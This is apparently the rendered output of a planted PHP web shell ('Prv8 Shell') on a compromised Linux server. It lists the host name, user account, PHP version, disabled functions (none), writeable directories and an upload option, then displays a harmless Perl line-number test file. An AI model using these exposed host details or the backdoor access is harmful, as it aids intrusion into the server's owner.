Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/share/doc/perl-Test-Simple-0.98/t/Tester/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Test-Simple-0.98/t/Tester/tbt_04line_num.t
#!/usr/bin/perl

use Test::More tests => 3;
use Test::Builder::Tester;

is(line_num(),6,"normal line num");
is(line_num(-1),6,"line number minus one");
is(line_num(+2),10,"line number plus two");

haha - 2025